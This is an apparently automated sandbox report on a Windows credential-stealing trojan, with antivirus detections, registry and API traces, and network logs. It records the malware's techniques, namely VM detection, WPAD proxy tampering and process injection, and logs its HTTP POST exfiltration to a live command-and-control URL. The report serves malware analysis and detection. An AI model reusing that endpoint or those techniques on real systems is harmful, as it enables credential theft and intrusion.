7.8
高危
49 个模型检测该样本为恶意！
重新分析
更多

f158be721fb34c71dedeb65d051c18da565e0aa8e1e2bf1f86e585e93c22a739

3601d363317c094f6f783a6c763511bc.exe

分析耗时

75s

最近分析

文件大小

209.5KB
静态报毒 动态报毒 AGENT@0 AI SCORE=80 APEM AZORULT BSCOPE CKGENERIC CLOUD COINS CONFIDENCE GEN2 GENOME HFID HFOB HIGH CONFIDENCE KRYPTIK LHCZ LOKIBOT MALICIOUS PE MALWAREX NUW@AW7PAAGI QQPASS QQROB SCORE STEAM SYMMI TROJANPSW UNSAFE USXVPHH20 WACATAC WOREFLINT ZEXAF 更多
鹰眼引擎
未检测 暂无鹰眼引擎检测结果
静态判定
反病毒引擎
查杀引擎 查杀结果 查杀时间 查杀版本
McAfee RDN/Generic.rp 20200825 6.0.6.653
Alibaba TrojanPSW:Win32/Coins.9ea11ce4 20190527 0.3.0.5
CrowdStrike win/malicious_confidence_80% (W) 20190702 1.0
Baidu 20190318 1.0.0.2
Tencent Win32.Trojan-qqpass.Qqrob.Lhcz 20200826 1.0.0.1
Kingsoft 20200826 2013.8.14.323
静态指标
Queries for the computername (6 个事件)
Time & API Arguments Status Return Repeated
1619367231.487626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619367231.487626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619367255.909626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619367255.909626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619367255.971626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
1619367255.971626
GetComputerNameW
computer_name: OSKAR-PC
success 1 0
Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 个事件)
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid
Tries to locate where the browsers are installed (1 个事件)
registry HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 个事件)
Time & API Arguments Status Return Repeated
1619345034.453053
GlobalMemoryStatusEx
success 1 0
行为判定
动态指标
HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 个事件)
suspicious_features POST method with no referer header suspicious_request POST http://kumaontalc.in/emziii/32/index.php
Performs some HTTP requests (1 个事件)
request POST http://kumaontalc.in/emziii/32/index.php
Sends data using the HTTP POST Method (1 个事件)
request POST http://kumaontalc.in/emziii/32/index.php
Allocates read-write-execute memory (usually to unpack itself) (1 个事件)
Time & API Arguments Status Return Repeated
1619345034.453053
NtProtectVirtualMemory
process_identifier: 2436
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
process_handle: 0xffffffff
base_address: 0x00236000
success 0 0
Checks adapter addresses which can be used to detect virtual network interfaces (1 个事件)
Time & API Arguments Status Return Repeated
1619367233.424626
GetAdaptersAddresses
flags: 0
family: 0
failed 111 0
The binary likely contains encrypted or compressed data indicative of a packer (2 个事件)
entropy 7.550901919616313 section {'size_of_data': '0x0001c400', 'virtual_address': '0x0001a000', 'entropy': 7.550901919616313, 'name': '.rsrc', 'virtual_size': '0x0001c260'} description A section with a high entropy has been found
entropy 0.5419664268585132 description Overall entropy of this PE file is high
Queries for potentially installed applications (26 个事件)
Time & API Arguments Status Return Repeated
1619367255.956626
RegOpenKeyExA
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003dc
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e0
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e4
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\AddressBook
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003e8
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003ec
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Connection Manager
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f0
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f4
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\DirectDrawEx
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003f8
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x000003fc
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Fontcore
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000404
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000408
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000040c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000410
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE40
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000414
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000418
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE4Data
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000041c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000420
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IE5BAKEX
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000424
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000428
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\IEData
options: 0
success 0 0
1619367255.956626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000042c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
options: 0
success 0 0
1619367255.971626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000430
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\MobileOptionPack
options: 0
success 0 0
1619367255.971626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000434
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
options: 0
success 0 0
1619367255.971626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000438
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\SchedulingAgent
options: 0
success 0 0
1619367255.971626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x0000043c
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
options: 0
success 0 0
1619367255.971626
RegOpenKeyExW
access: 0x00020019
base_handle: 0x80000002
key_handle: 0x00000440
regkey: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall\WIC
options: 0
success 0 0
1619367255.971626
RegOpenKeyExA
access: 0x00020019
base_handle: 0x80000001
key_handle: 0x00000000
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Uninstall
regkey_r: Software\Microsoft\Windows\CurrentVersion\Uninstall
options: 0
failed 2 0
网络通信
Communicates with host for which no DNS query was performed (1 个事件)
host 172.217.24.14
Checks the CPU name from registry, possibly for anti-virtualization (1 个事件)
registry HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString
Collects information about installed applications (1 个事件)
Time & API Arguments Status Return Repeated
1619367255.956626
RegQueryValueExW
key_handle: 0x00000404
value: Google Chrome
regkey_r: DisplayName
reg_type: 1 (REG_SZ)
regkey: HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Google Chrome\DisplayName
success 0 0
Sets or modifies WPAD proxy autoconfiguration file for traffic interception (15 个事件)
Time & API Arguments Status Return Repeated
1619367236.034626
RegSetValueExA
key_handle: 0x00000358
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619367236.034626
RegSetValueExA
key_handle: 0x00000358
value: 0€Ä¶9×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619367236.034626
RegSetValueExA
key_handle: 0x00000358
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619367236.034626
RegSetValueExW
key_handle: 0x00000358
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619367236.034626
RegSetValueExA
key_handle: 0x00000370
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619367236.034626
RegSetValueExA
key_handle: 0x00000370
value: 0€Ä¶9×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619367236.034626
RegSetValueExA
key_handle: 0x00000370
value: 3
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
1619367236.112626
RegSetValueExW
key_handle: 0x00000354
value: {40112ABE-63B3-43C3-BE93-1440EE3AF106}
regkey_r: WpadLastNetwork
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\WpadLastNetwork
success 0 0
1619367243.987626
RegSetValueExA
key_handle: 0x000003cc
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionReason
success 0 0
1619367243.987626
RegSetValueExA
key_handle: 0x000003cc
value: 0R„!¶9×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecisionTime
success 0 0
1619367243.987626
RegSetValueExA
key_handle: 0x000003cc
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadDecision
success 0 0
1619367243.987626
RegSetValueExW
key_handle: 0x000003cc
value: 网络 2
regkey_r: WpadNetworkName
reg_type: 1 (REG_SZ)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{40112ABE-63B3-43C3-BE93-1440EE3AF106}\WpadNetworkName
success 0 0
1619367243.987626
RegSetValueExA
key_handle: 0x000003d0
value: 1
regkey_r: WpadDecisionReason
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionReason
success 0 0
1619367243.987626
RegSetValueExA
key_handle: 0x000003d0
value: 0R„!¶9×
regkey_r: WpadDecisionTime
reg_type: 3 (REG_BINARY)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecisionTime
success 0 0
1619367244.002626
RegSetValueExA
key_handle: 0x000003d0
value: 0
regkey_r: WpadDecision
reg_type: 4 (REG_DWORD)
regkey: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0a-00-27-00-00-00\WpadDecision
success 0 0
Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 个事件)
Process injection Process 2436 called NtSetContextThread to modify thread in remote process 2060
Time & API Arguments Status Return Repeated
1619345037.968053
NtSetContextThread
thread_handle: 0x000000bc
registers.eip: 2010382788
registers.esp: 1441036
registers.edi: 0
registers.eax: 4301304
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
process_identifier: 2060
success 0 0
File has been identified by 49 AntiVirus engines on VirusTotal as malicious (49 个事件)
Elastic malicious (high confidence)
MicroWorld-eScan Gen:Variant.Symmi.17697
FireEye Generic.mg.3601d363317c094f
CAT-QuickHeal Trojan.CKGENERIC
McAfee RDN/Generic.rp
Cylance Unsafe
Sangfor Malware
K7AntiVirus Trojan ( 0056caed1 )
Alibaba TrojanPSW:Win32/Coins.9ea11ce4
K7GW Trojan ( 0056caed1 )
CrowdStrike win/malicious_confidence_80% (W)
Arcabit Trojan.Symmi.D4521
Invincea heuristic
Symantec Trojan Horse
APEX Malicious
Paloalto generic.ml
Kaspersky Trojan-PSW.Win32.Coins.ynf
BitDefender Gen:Variant.Symmi.17697
AegisLab Trojan.Multi.Generic.4!c
Tencent Win32.Trojan-qqpass.Qqrob.Lhcz
Ad-Aware Gen:Variant.Symmi.17697
Comodo TrojWare.Win32.Genome.agent@0
F-Secure Trojan.TR/Dropper.Gen2
DrWeb Trojan.PWS.Steam.18409
VIPRE Trojan.Win32.Generic!BT
TrendMicro Trojan.Win32.WACATAC.USXVPHH20
Sophos Mal/Generic-S
SentinelOne DFI - Malicious PE
Jiangmin Trojan.PSW.MSIL.apem
Avira TR/Dropper.Gen2
Antiy-AVL Trojan[PSW]/Win32.Coins
Microsoft Trojan:Win32/LokiBot.GI!MTB
ZoneAlarm Trojan-PSW.Win32.Coins.ynf
GData Gen:Variant.Symmi.17697
Cynet Malicious (score: 100)
BitDefenderTheta Gen:NN.ZexaF.34196.nuW@aW7paAgi
ALYac Gen:Variant.Symmi.17697
MAX malware (ai score=80)
VBA32 BScope.Trojan.Woreflint
Malwarebytes Spyware.AzorUlt
ESET-NOD32 a variant of Win32/Kryptik.HFOB
TrendMicro-HouseCall Trojan.Win32.WACATAC.USXVPHH20
Rising Dropper.Generic!8.35E (CLOUD)
Ikarus Trojan.Inject
Fortinet W32/Kryptik.HFID!tr
AVG Win32:MalwareX-gen [Trj]
Cybereason malicious.3317c0
Panda Trj/CI.A
Qihoo-360 Win32/Trojan.PSW.40e
可视化分析
二进制图像
暂无二进制图像 该样本未生成二进制可视化图像
运行截图
暂无运行截图 该样本运行过程中未生成截图

👋 欢迎使用 ChatHawk

我是您的恶意软件分析助手，可以帮您分析和解读恶意软件报告。请随时向我提问！

🔍 主要威胁分析
⚡ 行为特征
🛡️ 防护建议
🔧 技术手段
🎯 检测方法
🤖

PE Compile Time

2020-08-17 04:45:39

Imports

Library KERNEL32.dll:
• 0x413000 VirtualProtect
• 0x413004 GetProcAddress
• 0x413008 LoadLibraryA
• 0x41300c MultiByteToWideChar
• 0x413010 LCMapStringW
• 0x413018 HeapReAlloc
• 0x41301c HeapAlloc
• 0x413020 HeapSize
• 0x413024 WideCharToMultiByte
• 0x413028 RtlUnwind
• 0x41302c IsValidCodePage
• 0x413030 GetOEMCP
• 0x413034 GetACP
• 0x413038 GetCPInfo
• 0x41303c Sleep
• 0x413040 HeapFree
• 0x413044 GetCurrentProcess
• 0x413048 TerminateProcess
• 0x41304c IsDebuggerPresent
• 0x413054 LoadLibraryW
• 0x413064 GetCurrentProcessId
• 0x413068 GetTickCount
• 0x413070 HeapCreate
• 0x413078 GetLastError
• 0x41307c GetCurrentThreadId
• 0x413080 SetLastError
• 0x413088 TlsFree
• 0x41308c TlsSetValue
• 0x413090 TlsGetValue
• 0x413094 TlsAlloc
• 0x413098 EncodePointer
• 0x41309c GetCommandLineW
• 0x4130a0 HeapSetInformation
• 0x4130a4 GetStartupInfoW
• 0x4130ac GetModuleHandleW
• 0x4130b0 ExitProcess
• 0x4130b4 DecodePointer
• 0x4130b8 WriteFile
• 0x4130bc GetStdHandle
• 0x4130c0 GetModuleFileNameW
• 0x4130cc SetHandleCount
• 0x4130d4 GetFileType
• 0x4130dc GetStringTypeW
Library MSACM32.dll:
• 0x413110 acmFilterEnumW
• 0x41311c acmDriverAddA
• 0x413120 acmDriverID
• 0x413124 acmDriverPriority
• 0x413128 acmFilterEnumA
• 0x41312c XRegThunkEntry
• 0x413130 acmFilterDetailsW
Library MSWSOCK.dll:
• 0x413138 GetNameByTypeW
• 0x41313c rresvport
• 0x413140 GetServiceA
• 0x413144 AcceptEx
• 0x413148 rcmd
• 0x41314c NPLoadNameSpaces
Library WS2_32.dll:
• 0x41317c WSASocketA
• 0x413184 closesocket
Library WINSPOOL.DRV:
• 0x41315c EnumFormsA
• 0x413160 PrinterMessageBoxA
• 0x413164 DeleteFormW
• 0x413168 DocumentPropertiesW
• 0x41316c AddPortW
• 0x413170 AddPrinterDriverA
Library MAPI32.dll:
• 0x4130e4
• 0x4130e8
• 0x4130ec
• 0x4130f0
• 0x4130f4
• 0x4130f8
• 0x4130fc
• 0x413100
• 0x413104
Library USER32.dll:
• 0x413154 EnumThreadWindows

Hosts

No hosts contacted.

TCP

Source Source Port Destination Destination Port
192.168.56.101 49178 167.86.98.99 kumaontalc.in 80
192.168.56.101 49179 167.86.98.99 kumaontalc.in 80

UDP

Source Source Port Destination Destination Port
192.168.56.101 50534 114.114.114.114 53
192.168.56.101 51963 114.114.114.114 53
192.168.56.101 53657 114.114.114.114 53
192.168.56.101 56539 114.114.114.114 53
192.168.56.101 65004 114.114.114.114 53
192.168.56.101 137 192.168.56.255 137
192.168.56.101 138 192.168.56.255 138
192.168.56.101 49235 224.0.0.252 5355
192.168.56.101 51808 224.0.0.252 5355
192.168.56.101 56804 224.0.0.252 5355
192.168.56.101 60123 224.0.0.252 5355
192.168.56.101 62191 224.0.0.252 5355
192.168.56.101 1900 239.255.255.250 1900
192.168.56.101 50535 239.255.255.250 3702
192.168.56.101 56540 239.255.255.250 3702
192.168.56.101 56807 239.255.255.250 1900
192.168.56.101 58707 239.255.255.250 3702

HTTP & HTTPS Requests

URI Data
http://kumaontalc.in/emziii/32/index.php 
POST /emziii/32/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: kumaontalc.in
Content-Length: 2166
Cache-Control: no-cache
http://kumaontalc.in/emziii/32/index.php 
POST /emziii/32/index.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.1)
Host: kumaontalc.in
Content-Length: 113
Cache-Control: no-cache

J/\xfb8/\xfb4/\xfb<H\xed>2\xed>9\xed>:\xed?N\xed>8\xed>2\xed><\x8b(9\xfbIL\x8b(8\x8c(9\xffK/\xfb?/\xfb>/\xfb8/\xfb</\xfb>/\xfb8/\xfaI/\xfb9/\xfb9/\xfb5/\xfb?/\xfb:O\xed>?\xed>9\xed?N\xed>2\xed><\x89(9\xfaN/\xfb4/\xfb4/\xfb5O

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

No Suricata Alerts

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts

Sorry! No dropped files.
Sorry! No dropped buffers.